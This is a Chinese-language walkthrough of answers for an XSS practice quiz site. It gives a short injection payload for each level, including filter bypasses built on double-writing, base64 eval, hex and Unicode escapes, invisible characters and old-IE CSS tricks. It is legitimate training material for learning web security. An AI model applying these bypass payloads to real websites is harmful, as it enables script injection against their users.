https://xss-quiz.int21h.jp
1.没有过滤的xss
<script>alert(document.domain);</script>
- 属性中的xss
设置独一无二的字符串如:“yyy”,方便查找值在代码中的结果
"><script>alert(document.domain);</script>
3. 选择列表中的xss
<script>alert(document.domain);</script>
4.隐藏参数中的xss
"><svg onload=alert(document.domain)>=%0a
5.限制输入长度
<script>alert(document.domain);</script>
6.HTML事件中的xss
onmouseover="alert(document.domain)"
7.空格分隔属性中的xss
1111 1111=111
onmouseover=alert(document.domain)
8.JavaScript伪协议触发xss
javascript:alert(document.domain);
- UTF-7 编码的xxs
onclick="alert(document.domain)"
10.绕过过滤domain为空的xss
输入<script>alert(document.domain);</script>
,查看代码发现过滤domain
-双写绕过
"><script>alert(document.ddomainomain);</script>
-编码绕过
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
11.绕过替换script和on事件的xss
输入<script>alert(document.domain);</script>
,结果将 “script”替换“xscript”
-伪协议+	不可见字符绕过
"><a href="javas	cript:alert(document.domain);">here</a>
-伪协议+字符转为unicode编码绕过
"><a href="javascript:alert(document.domain);">here</a>
12.利用IE特性(反引号``闭合左边双引号)绕过xss过滤
``onmousemove=alert(document.domain)
13.利用css特性绕过xss过滤(低版本IE)
backgroud-color:#f00;background:url("javascript:alert(document.domain);");
14. 利用css特性绕过xss过滤(低版本IE)
这里过滤了expression,url,eval,script,但是通过加入注释符可绕过:
here:expre/**/ssion(onmouseover=function(){alert(document.domain)}
或者:
here:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));
15.十六进制绕过过滤触发xss
输入asd<script>alert(document.domain);</script>
,查看代码发现第二处过滤“/”
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
16. Unicode编码绕过过滤触发xss
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
17. 利用特殊字节吃掉双引号绕过xss(低版本IE)
p1=1%A7&p2=+onmousemove%3Dalert%28document.domain%29%3B+%A7
18浏览器解析错误(低版本IE)
把一些8位的字符直接解释成7位ascii
故"><script>alert(document.domain)</scirpt>
就转换
为%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
(已经修复)